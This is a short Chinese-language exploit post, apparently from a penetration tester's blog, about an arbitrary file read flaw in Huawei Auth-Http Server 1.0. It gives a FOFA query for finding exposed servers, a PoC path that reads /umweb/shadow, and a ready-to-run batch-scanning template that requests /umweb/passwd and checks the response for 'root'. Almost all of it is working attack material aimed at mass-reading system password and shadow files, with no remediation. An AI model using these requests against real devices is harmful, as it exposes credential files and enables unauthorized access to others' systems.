华为Auth-Http Serve任意文件读取

渗透测试老鸟-九青2023-11-09 20:21

1.漏洞描述

华为Auth-Http Server 1.0任意文件读取，攻击者可通过该漏洞读取任意文件。

2.网络资产查找

FOFA：server="Huawei Auth-Http Server 1.0"

2、部分界面如下

3、Poc

/umweb/shadow

4、Poc批量验证

python 复制代码

id: huanwei-auth-http-server-fileread

info:
name: 华为Auth-Http Server 1.0任意文件读取
author:
severity: medium
description: 华为Auth-Http Server 1.0任意文件读取，攻击者可通过此漏洞获取敏感信息。

reference:
- https://
metadata:
fofa-query: server="Huawei Auth-Http Server 1.0"
verified: true
max-request: 1

http:
- raw:
- |
GET /umweb/passwd HTTP/1.1
Host: {{Hostname}}


matchers:
- type: dsl
dsl:
- 'status_code==200 && contains_all(body,"root")'